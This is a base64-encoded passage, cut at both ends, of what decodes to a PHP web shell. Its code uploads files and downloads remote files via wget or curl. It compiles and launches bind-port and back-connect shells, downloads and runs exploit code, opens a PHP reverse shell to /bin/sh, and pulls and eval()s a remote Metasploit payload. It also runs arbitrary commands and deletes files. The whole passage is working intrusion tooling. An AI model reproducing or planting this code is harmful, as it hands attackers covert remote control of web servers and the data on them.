V0IGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlNhdmUgISIgbmFtZT0ic2F2ZSIgc3R5bGU9IndpZHRoOjEyJTsiIC8+IA0KJm5ic3A7PD9waHAgZWNobyAkbXNnOz8+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd1cGxvYWQnKSl7aWYoaXNzZXQoJF9QT1NUWyd1cGxvYWRjb21wJ10pKXtpZihpc191cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSkpeyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskZm5hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTskdG1wX25hbWUgPSAkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ107JHBpbmRhaCA9ICRwYXRoLiRmbmFtZTskc3RhdCA9IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCRwaW5kYWgpO2lmICgkc3RhdCkgeyRtc2cgPSAiZmlsZSB1cGxvYWRlZCB0byAkcGluZGFoIjt9IGVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fWVsc2UgJG1zZyA9ICJmYWlsZWQgdG8gdXBsb2FkICRmbmFtZSI7fSANCmVsc2VpZihpc3NldCgkX1BPU1RbJ3VwbG9hZHVybCddKSl7JHBpbGloYW4gPSB0cmltKCRfUE9TVFsncGlsaWhhbiddKTskd3VybCA9IHRyaW0oJF9QT1NUWyd3dXJsJ10pOyRwYXRoID0gbWFnaWNib29tKCRfUE9TVFsncGF0aCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7JHBpbmRhaCA9ICRwYXRoLiRuYW1hZmlsZTtpZihpc19maWxlKCRwaW5kYWgpKXskbXNnID0gImZpbGUgdXBsb2FkZWQgdG8gJHBpbmRhaCI7fWVsc2UgJG1zZyA9ImZhaWxlZCB0byB1cGxvYWQgJG5hbWFmaWxlIjt9Pz4NCjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJwb3N0Ij48YnI+PGJyPjxicj4NCjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzIwcHg7cGFkZGluZzowIDFweDsiPiA8dHI+PHRoIGNvbHNwYW49IjIiPkxvY2FsPC90aD48L3RyPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiPjxpbnB1dCBzdHlsZT0iY29sb3I6IzAwMDAwMDsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIC8+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBsb2FkY29tcCIgY2xhc3M9ImlucHV0emJ1dCIgdmFsdWU9IkdvIiBzdHlsZT0id2lkdGg6ODBweDsiPjwvcD48L3RkPiA8dHI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iaW5wdXR6IiBzdHlsZT0id2lkdGg6OTklOyIgbmFtZT0icGF0aCIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz48L3RkPjwvdHI+IDwvdHI+IDwvdGFibGU+PC9mb3JtPiA8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjMyMHB4O3BhZGRpbmc6MCAxcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5SZW1vdGU8L3RoPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+PGZvcm0gbWV0aG9kPSJwb3N0IiBzdHlsZT0ibWFyZ2luOjA7cGFkZGluZzowOyIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXVwbG9hZCI+IDx0YWJsZT48dHI+PHRkPmxpbms8L3RkPg0KPHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ3dXJsIiBzdHlsZT0id2lkdGg6MjUwcHg7IiB2YWx1ZT0iaHR0cDovL3NpdGUvZmlsZS4qIj48L3RkPjwvdHI+IDx0cj48dGQgY29sc3Bhbj0iMiI+DQo8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImlucHV0eiIgc3R5bGU9IndpZHRoOjk5JTsiIG5hbWU9InBhdGgiIHZhbHVlPSI8P3BocCBlY2hvICRwd2Q7Pz4iIC8+PC90ZD48L3RyPiA8dHI+PHRkPjxzZWxlY3Qgc2l6ZT0iMSIgY2xhc3M9ImlucHV0eiIgbmFtZT0icGlsaWhhbiI+IDxvcHRpb24gdmFsdWU9Ind3Z2V0Ij53Z2V0PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndseW54Ij5seW54PC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmcmVhZCI+ZnJlYWQ8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2ZldGNoIj5mZXRjaDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bGlua3MiPmxpbmtzPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ1cGxvYWR1cmwiIGNsYXNzPSJpbnB1dHpidXQiIHZhbHVlPSJHbyIgc3R5bGU9IndpZHRoOjI0NnB4OyI+PC90ZD48L3RyPjwvZm9ybT48L3RhYmxlPjwvdGQ+IDwvdHI+IDwvdGFibGU+IDxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO21hcmdpbjoycHg7Ij48P3BocCBlY2hvICRtc2c7Pz48L2Rpdj4NCjw/cGhwIH0NCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnbmV0c3Bsb2l0Jykpew0KaWYgKGlzc2V0KCRfUE9TVFsnYmluZCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JHBvcnQgPSB0cmltKCRfUE9TVFsncG9ydCddKTskcGFzc3dyZCA9IHRyaW0oJF9QT1NUWydiaW5kX3Bhc3MnXSk7dHVsaXMoImJkYy5jIiwkcG9ydF9iaW5kX2JkX2MpO2V4ZSgiZ2NjIC1vIGJkYyBiZGMuYyIpO2V4ZSgiY2htb2QgNzc3IGJkYyIpO0B1bmxpbmsoImJkYy5jIik7ZXhlKCIuL2JkYyAiLiRwb3J0LiIgIi4kcGFzc3dyZC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIi4vYmRjICRwb3IiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO319IA0KZWxzZWlmIChpc3NldCgkX1BPU1RbJ2JpbmQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgeyRwb3J0ID0gdHJpbSgkX1BPU1RbJ3BvcnQnXSk7JHBhc3N3cmQgPSB0cmltKCRfUE9TVFsnYmluZF9wYXNzJ10pO3R1bGlzKCJiZHAiLCRwb3J0X2JpbmRfYmRfcGwpO2V4ZSgiY2htb2QgNzc3IGJkcCIpOyRwMj13aGljaCgicGVybCIpO2V4ZSgkcDIuIiBiZHAgIi4kcG9ydC4iICYiKTskc2NhbiA9IGV4ZSgicHMgYXV4Iik7aWYoZXJlZ2koIiRwMiBiZHAgJHBvcnQiLCRzY2FuKSl7JG1zZyA9ICI8cD5Qcm9jZXNzIHN1Y2Nlc3NlZDwvcD4iO30gZWxzZSB7JG1zZyA9ICI8cD5Qcm9jZXNzIEZhaWxlZDwvcD4iO30gfSANCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydiYWNrY29ubiddKSAmJiAhZW1wdHkoJF9QT1NUWydiYWNrcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydpcCddKSAmJiAoJF9QT1NUWyd1c2UnXSA9PSAnQycpKSB7JGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY2MuYyIsJGJhY2tfY29ubmVjdF9jKTtleGUoImdjYyAtbyBiY2MgYmNjLmMiKTtleGUoImNobW9kIDc3NyBiY2MiKTtAdW5saW5rKCJiY2MuYyIpO2V4ZSgiLi9iY2MgIi4kaXAuIiAiLiRwb3J0LiIgJiIpOyRtc2cgPSAidHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30gDQplbHNlaWYgKGlzc2V0KCRfUE9TVFsnYmFja2Nvbm4nXSkgJiYgIWVtcHR5KCRfUE9TVFsnYmFja3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsnaXAnXSkgJiYgKCRfUE9TVFsndXNlJ10gPT0gJ1BlcmwnKSkgew0KJGlwID0gdHJpbSgkX1BPU1RbJ2lwJ10pOyRwb3J0ID0gdHJpbSgkX1BPU1RbJ2JhY2twb3J0J10pO3R1bGlzKCJiY3AiLCRiYWNrX2Nvbm5lY3QpOw0KZXhlKCJjaG1vZCAreCBiY3AiKTskcDI9d2hpY2goInBlcmwiKTtleGUoJHAyLiIgYmNwICIuJGlwLiIgIi4kcG9ydC4iICYiKTsNCiRtc2cgPSAiVHJ5aW5nIHRvIGNvbm5lY3QgdG8gIi4kaXAuIiBvbiBwb3J0ICIuJHBvcnQuIiAuLi4iO30NCmVsc2VpZiAoaXNzZXQoJF9QT1NUWydleHBjb21waWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ3d1cmwnXSkgJiYgIWVtcHR5KCRfUE9TVFsnd2NtZCddKSkgeyRwaWxpaGFuID0gdHJpbSgkX1BPU1RbJ3BpbGloYW4nXSk7JHd1cmwgPSB0cmltKCRfUE9TVFsnd3VybCddKTskbmFtYWZpbGUgPSBkb3dubG9hZCgkcGlsaWhhbiwkd3VybCk7DQppZihpc19maWxlKCRuYW1hZmlsZSkpeyRtc2cgPSBleGUoJHdjbWQpO30NCmVsc2UgJG1zZyA9ICJlcnJvcjogZmlsZSBub3QgZm91bmQgJG5hbWFmaWxlIjt9Pz48YnI+PGJyPjxicj48YnI+IDx0YWJsZSBjbGFzcz0idGFibmV0Ij4gPHRyPjx0aD5CaW5kIFBvcnQ8L3RoPjx0aD5CYWNrIGNvbm5lY3Q8L3RoPjx0aD5kb3dubG9hZCBhbmQgRXhlYzwvdGg+PC90cj48dHI+PHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD5Qb3J0PC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQgPz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX3Bhc3MiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnRfcGFzczs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlVzZTwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmp1c3RpZnkiPjxwPjxzZWxlY3QgY2xhc3M9ImlucHV0eiIgc2l6ZT0iMSIgbmFtZT0idXNlIj48b3B0aW9uIHZhbHVlPSJQZXJsIj5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iQyI+Qzwvb3B0aW9uPjwvc2VsZWN0PjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIG5hbWU9ImJpbmQiIHZhbHVlPSJCaW5kIiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPjx0YWJsZT4gPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb25zPSI/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9bmV0c3Bsb2l0Ij48dHI+PHRkPklQPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9ImlwIiBzaXplPSIyNiIgdmFsdWU9Ijw/cGhwIGVjaG8gKChnZXRlbnYoJ1JFTU9URV9BRERSJykpID8gKGdldGVudignUkVNT1RFX0FERFInKSkgOiAoIjEyNy4wLjAuMSIpKTs/PiI+PC90ZD48L3RyPiA8dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0iYmFja3BvcnQiIHNpemU9IjI2IiB2YWx1ZT0iPD9waHAgZWNobyAkYmluZHBvcnQ7Pz4iPjwvdGQ+PC90cj4gPHRyPjx0ZD5Vc2U8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpqdXN0aWZ5Ij48cD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InVzZSI+PG9wdGlvbiB2YWx1ZT0iUGVybCI+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IkMiPkM8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYmFja2Nvbm4iIHZhbHVlPSJDb25uZWN0IiBjbGFzcz0iaW5wdXR6YnV0IiBzdHlsZT0id2lkdGg6MTIwcHgiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT4gPC90ZD4gPHRkPiA8dGFibGU+IDxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9ucz0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PW5ldHNwbG9pdCI+PHRyPjx0ZD51cmw8L3RkPjx0ZD48aW5wdXQgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0id3VybCIgc3R5bGU9IndpZHRoOjI1MHB4OyIgdmFsdWU9Ind3dy5zb21lLWNvZGUvZXhwbG9pdHMuYyI+PC90ZD48L3RyPjx0cj48dGQ+Y21kPC90ZD48dGQ+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9IndjbWQiIHN0eWxlPSJ3aWR0aDoyNTBweDsiIHZhbHVlPSJnY2MgLW8gZXhwbG9pdHMgZXhwbG9pdHMuYztjaG1vZCAreCBleHBsb2l0czsuL2V4cGxvaXRzOyI+PC90ZD4gPC90cj4gPHRyPjx0ZD48c2VsZWN0IHNpemU9IjEiIGNsYXNzPSJpbnB1dHoiIG5hbWU9InBpbGloYW4iPiA8b3B0aW9uIHZhbHVlPSJ3d2dldCI+d2dldDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3bHlueCI+bHlueDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3ZnJlYWQiPmZyZWFkPC9vcHRpb24+IDxvcHRpb24gdmFsdWU9IndmZXRjaCI+ZmV0Y2g8L29wdGlvbj4gPG9wdGlvbiB2YWx1ZT0id2xpbmtzIj5saW5rczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9IndnZXQiPkdFVDwvb3B0aW9uPiA8b3B0aW9uIHZhbHVlPSJ3Y3VybCI+Y3VybDwvb3B0aW9uPiA8L3NlbGVjdD48L3RkPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJleHBjb21waWxlIiBjbGFzcz0iaW5wdXR6YnV0IiB2YWx1ZT0iR28iIHN0eWxlPSJ3aWR0aDoyNDZweDsiPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L3RkPjwvdHI+PC90YWJsZT48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjttYXJnaW46MnB4OyI+PD9waHAgZWNobyAkbXNnOz8+PC9kaXY+PGJyPg0KPD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmZ1bmN0aW9uIHNzKCR0KXtpZiAoIWdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHJldHVybiB0cmltKHVybGRlY29kZSgkdCkpO3JldHVybiB0cmltKHVybGRlY29kZShzdHJpcHNsYXNoZXMoJHQpKSk7fQ0KJHNfbXlfaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7JHJzcG9ydCA9ICI0NDMiOyRyc3BvcnRiNCA9ICRyc3BvcnQ7JHJzdGFyZ2V0NCA9ICRzX215X2lwOyRzX3Jlc3VsdCA9ICI8Y2VudGVyPjxkaXYgY2xhc3M9J215Ym94JyBhbGlnbj0nY2VudGVyJz48dGQ+PGgyPlJldmVyc2Ugc2hlbGwgKCBwaHAgKTwvaDI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb25zPSc/eT08P3BocCBlY2hvICRwd2Q7Pz4mYW1wO3g9J25ldHNwbG9pdCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PHRyPjx0ZCBzdHlsZT0nd2lkdGg6MTAwcHg7Jz5Zb3VyIElQPC90ZD48dGQ+PGlucHV0IHN0eWxlPSd3aWR0aDoxMDAlOycgY2xhc3M9J2lucHV0eicgdHlwZT0ndGV4dCcgbmFtZT0ncnN0YXJnZXQ0JyB2YWx1ZT0nIi4kcnN0YXJnZXQ0LiInIC8+PC90ZD48L3RyPjx0cj48dGQ+UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J3NxbHBvcnRiNCcgdmFsdWU9JyIuJHJzcG9ydGI0LiInIC8+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0neGJhY2tfcGhwJyBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nY29ubmVjdCcgc3R5bGU9J3dpZHRoOjEyMHB4O2hlaWdodDozMHB4O21hcmdpbjoxMHB4IDJweCAwIDJweDsnIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZCcgdmFsdWU9JyIuJHB3ZC4iJyAvPjwvZm9ybT48L3RkPjxociBjb2xvcj0nIzRDODNBRic+PHRkPjxmb3JtIG1ldGhvZD0nUE9TVCc+PHRhYmxlIGNsYXNzPSdteWJveHRibCc+PGgyPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L2gyPjx0cj48dGQgc3R5bGU9J3dpZHRoOjEwMHB4Oyc+WW91ciBJUDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0nd2lkdGg6MTAwJTsnIGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIHNpemU9JzQwJyBuYW1lPSd5aXAnIHZhbHVlPSciLiRteV9pcC4iJyAvPjwvdGQ+PC90cj48dHI+PHRkPlBvcnQ8L3RkPjx0ZD48aW5wdXQgc3R5bGU9J3dpZHRoOjEwMCU7JyBjbGFzcz0naW5wdXR6JyB0eXBlPSd0ZXh0JyBzaXplPSc1JyBuYW1lPSd5cG9ydCcgdmFsdWU9JzQ0MycgLz48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ29ubmVjdCcgbmFtZT0nbWV0YUNvbm5lY3QnIHN0eWxlPSd3aWR0aDoxMjBweDtoZWlnaHQ6MzBweDttYXJnaW46MTBweCAycHggMCAycHg7Jz48L2Zvcm0+PC90ZD48L2Rpdj48L2NlbnRlcj4iOw0KZWNobyAkc19yZXN1bHQ7DQppZigkX1BPU1RbJ21ldGFDb25uZWN0J10peyRpcGFkZHIgPSAkX1BPU1RbJ3lpcCddOyRwb3J0ID0gJF9QT1NUWyd5cG9ydCddO2lmICgkaXAgPT0gIiIgJiYgJHBvcnQgPT0gIiIpe2VjaG8gImZpbGwgaW4gdGhlIGJsYW5rcyI7fWVsc2Uge2lmIChGQUxTRSAhPT0gc3RycG9zKCRpcGFkZHIsICI6IikpIHskaXBhZGRyID0gIlsiLiAkaXBhZGRyIC4iXSI7fWlmIChpc19jYWxsYWJsZSgnc3RyZWFtX3NvY2tldF9jbGllbnQnKSl7JG1zZ3NvY2sgPSBzdHJlYW1fc29ja2V0X2NsaWVudCgidGNwOi8veyRpcGFkZHJ9OnskcG9ydH0iKTtpZiAoISRtc2dzb2NrKXtkaWUoKTt9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdmc29ja29wZW4nKSl7JG1zZ3NvY2sgPSBmc29ja29wZW4oJGlwYWRkciwkcG9ydCk7aWYgKCEkbXNnc29jaykge2RpZSgpOyB9JG1zZ3NvY2tfdHlwZSA9ICdzdHJlYW0nO31lbHNlaWYgKGlzX2NhbGxhYmxlKCdzb2NrZXRfY3JlYXRlJykpeyRtc2dzb2NrID0gc29ja2V0X2NyZWF0ZShBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7JHJlcyA9IHNvY2tldF9jb25uZWN0KCRtc2dzb2NrLCAkaXBhZGRyLCAkcG9ydCk7aWYgKCEkcmVzKSB7ZGllKCk7IH0kbXNnc29ja190eXBlID0gJ3NvY2tldCc7fWVsc2Uge2RpZSgpO31zd2l0Y2ggKCRtc2dzb2NrX3R5cGUpe2Nhc2UgJ3N0cmVhbSc6ICRsZW4gPSBmcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO2Nhc2UgJ3NvY2tldCc6ICRsZW4gPSBzb2NrZXRfcmVhZCgkbXNnc29jaywgNCk7IGJyZWFrO31pZiAoISRsZW4pIHtkaWUoKTt9JGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTskbGVuID0gJGFbJ2xlbiddOyRidWZmZXIgPSAnJzt3aGlsZSAoc3RybGVuKCRidWZmZXIpIDwgJGxlbil7c3dpdGNoICgkbXNnc29ja190eXBlKSB7Y2FzZSAnc3RyZWFtJzogJGJ1ZmZlciAuPSBmcmVhZCgkbXNnc29jaywgJGxlbi1zdHJsZW4oJGJ1ZmZlcikpOyBicmVhaztjYXNlICdzb2NrZXQnOiAkYnVmZmVyIC49IHNvY2tldF9yZWFkKCRtc2dzb2NrLCAkbGVuLXN0cmxlbigkYnVmZmVyKSk7YnJlYWs7fX1ldmFsKCRidWZmZXIpO2VjaG8gIlsqXSBDb25uZWN0aW9uIFRlcm1pbmF0ZWQiO2RpZSgpO319DQppZihpc3NldCgkX1JFUVVFU1RbJ3NxbHBvcnRiNCddKSkgJHJzcG9ydGI0ID0gc3MoJF9SRVFVRVNUWydzcWxwb3J0YjQnXSk7DQppZihpc3NldCgkX1JFUVVFU1RbJ3JzdGFyZ2V0NCddKSkgJHJzdGFyZ2V0NCA9IHNzKCRfUkVRVUVTVFsncnN0YXJnZXQ0J10pOw0KaWYgKCRfUE9TVFsneGJhY2tfcGhwJ10pIHskaXAgPSAkcnN0YXJnZXQ0OyRwb3J0ID0gJHJzcG9ydGI0OyRjaHVua19zaXplID0gMTMzNzskd3JpdGVfYSA9IG51bGw7JGVycm9yX2EgPSBudWxsOyRzaGVsbCA9ICcvYmluL3NoJzskZGFlbW9uID0gMDskZGVidWcgPSAwO2lmKGZ1bmN0aW9uX2V4aXN0cygncGNudGxfZm9yaycpKXskcGlkID0gcGNudGxfZm9yaygpOw0KaWYgKCRwaWQgPT0gLTEpIGV4aXQoMSk7aWYgKCRwaWQpIGV4aXQoMCk7aWYgKHBvc2l4X3NldHNpZCgpID09IC0xKSBleGl0KDEpOyRkYWVtb24gPSAxO30NCnVtYXNrKDApOyRzb2NrID0gZnNvY2tvcGVuKCRpcCwgJHBvcnQsICRlcnJubywgJGVycnN0ciwgMzApO2lmKCEkc29jaykgZXhpdCgxKTsNCiRkZXNjcmlwdG9yc3BlYyA9IGFycmF5KDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLCAxID0+IGFycmF5KCJwaXBlIiwgInciKSwgMiA9PiBhcnJheSgicGlwZSIsICJ3IikpOw0KJHByb2Nlc3MgPSBwcm9jX29wZW4oJHNoZWxsLCAkZGVzY3JpcHRvcnNwZWMsICRwaXBlcyk7DQppZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKSBleGl0KDEpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMF0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMl0sIDApOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkc29jaywgMCk7DQp3aGlsZSgxKXtpZihmZW9mKCRzb2NrKSkgYnJlYWs7aWYoZmVvZigkcGlwZXNbMV0pKSBicmVhazskcmVhZF9hID0gYXJyYXkoJHNvY2ssICRwaXBlc1sxXSwgJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cyA9IHN0cmVhbV9zZWxlY3QoJHJlYWRfYSwgJHdyaXRlX2EsICRlcnJvcl9hLCBudWxsKTsNCmlmKGluX2FycmF5KCRzb2NrLCAkcmVhZF9hKSl7JGlucHV0ID0gZnJlYWQoJHNvY2ssICRjaHVua19zaXplKTtmd3JpdGUoJHBpcGVzWzBdLCAkaW5wdXQpO30NCmlmKGluX2FycmF5KCRwaXBlc1sxXSwgJHJlYWRfYSkpeyRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpO2Z3cml0ZSgkc29jaywgJGlucHV0KTt9DQppZihpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKXskaW5wdXQgPSBmcmVhZCgkcGlwZXNbMl0sICRjaHVua19zaXplKTtmd3JpdGUoJHNvY2ssICRpbnB1dCk7fX1mY2xvc2UoJHNvY2spO2ZjbG9zZSgkcGlwZXNbMF0pO2ZjbG9zZSgkcGlwZXNbMV0pO2ZjbG9zZSgkcGlwZXNbMl0pO3Byb2NfY2xvc2UoJHByb2Nlc3MpOyRyc3JlcyA9ICIgIjskc19yZXN1bHQgLj0gJHJzcmVzO319IGVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc2hlbGwnKSl7Pz4gDQo8Zm9ybSBhY3Rpb249Ij95PTw/cGhwIGVjaG8gJHB3ZDs/PiZhbXA7eD1zaGVsbCIgbWV0aG9kPSJwb3N0Ij4gPHRhYmxlIGNsYXNzPSJjbWRib3giPiA8dHI+PHRkIGNvbHNwYW49IjIiPg0KPHRleHRhcmVhIGNsYXNzPSJvdXRwdXQiIHJlYWRvbmx5Pg0KPD9waHAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRjbWQnXSkpIHtlY2hvIEBleGUoJF9QT1NUWydjbWQnXSk7fSA/PiANCjwvdGV4dGFyZWE+IDx0cj48dGQgY29sc3Bhbj0iMiI+PD9waHAgZWNobyAkcHJvbXB0Oz8+PGlucHV0IG9uTW91c2VPdmVyPSJ0aGlzLmZvY3VzKCk7IiBpZD0iY21kIiBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHN0eWxlPSJ3aWR0aDo2MCU7IiB2YWx1ZT0iIiAvPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJEbyAhIiBuYW1lPSJzdWJtaXRjbWQiIHN0eWxlPSJ3aWR0aDoxMiU7IiAvPjwvdGQ+PC90cj4gPC90YWJsZT48L2Zvcm0+IA0KPD9waHAgfWVsc2V7aWYoaXNzZXQoJF9HRVRbJ2RlbGV0ZSddKSAmJiAoJF9HRVRbJ2RlbGV0ZSddICE9ICIiKSl7JGZpbGUgPSAkX0dFVFsnZGVsZXRlJ107QHVubGluaygkZmlsZSk7fSANCmVsc2VpZihpc3NldCgkX0dFVFsnZmRlbGV0ZSddKSAmJiAoJF9HRVRbJ2ZkZWxldGUnXSAhPSAiIikpe0BybWRpcihydHJpbSgkX0dFVFsnZmRlbGV0ZSddLERJUkVDVE9SWV9TRVBBUkFUT1IpKTt9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ21rZGlyJ10pICYmICgkX0dFVFsnbWtkaXInXSAhPSAiIikpeyRwYXRoID0gJHB3ZC4kX0dFVFsnbWtkaXInXTtAbWtkaXIoJHBhdGgpO30kYnVmZiA9IHNob3dkaXIoJHB3Z